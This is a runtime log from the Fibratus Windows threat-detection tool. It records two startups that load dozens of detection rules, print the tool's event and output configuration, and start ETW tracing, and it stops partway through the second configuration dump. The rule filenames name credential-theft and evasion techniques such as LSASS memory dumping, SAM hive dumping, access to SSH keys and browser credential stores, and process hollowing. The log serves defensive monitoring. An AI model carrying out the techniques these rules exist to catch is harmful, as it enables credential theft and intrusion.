C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T17:35:53+01:00 level=info msg=bootstrapping with pid 1156. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T17:35:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false buffer-size=>512 stack-enrichment=>true enable-dns=>false enable-vamap=>true enable-net=>true enable-registry=>true flush-interval=>1s enable-fileio=>true enable-handle=>false max-buffers=>36 enable-thread=>true min-buffers=>16 enable-image=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 level=>info log-stdout=>true max-backups=>15] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient durable=>false exchange=>fibratus exchange-type=>topic enabled=>false vhost=>/ timeout=>5s tls-insecure-skip-verify=>false passive=>false] http=>[ enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enable-gzip=>false method=>POST serializer=>json] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] elasticsearch=>[ flush-period=>1s trace-log=>false timeout=>5s healthcheck-timeout=>5s template-name=>fibratus index-name=>fibratus bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s gzip-compression=>false sniff=>false healthcheck=>true]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false fastscan=>true skip-allocs=>false excluded-files=>[] enabled=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-05T17:35:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:35:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:38:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T17:38:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:38:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:53:34+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_activity_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:53:34+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T17:53:34+01:00 level=info msg=bootstrapping with pid 18888. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T17:53:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-dns=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-net=>true enable-vamap=>true max-buffers=>36 min-buffers=>16 enable-thread=>true enable-registry=>true enable-mem=>false enable-audit-api=>true enable-threadpool=>false flush-interval=>1s buffer-size=>512 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-age=>0 max-size=>100 log-stdout=>true level=>info] + output ......................... [ http=>[ enabled=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST] amqp=>[ passive=>false tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic durable=>false enabled=>false delivery-mode=>transient vhost=>/ routing-key=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ healthcheck-timeout=>5s index-name=>fibratus trace-log=>false healthcheck=>true timeout=>5s flush-period=>1s bulk-workers=>1 sniff=>false template-name=>fibratus healthcheck-interval=>10s gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200]]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false 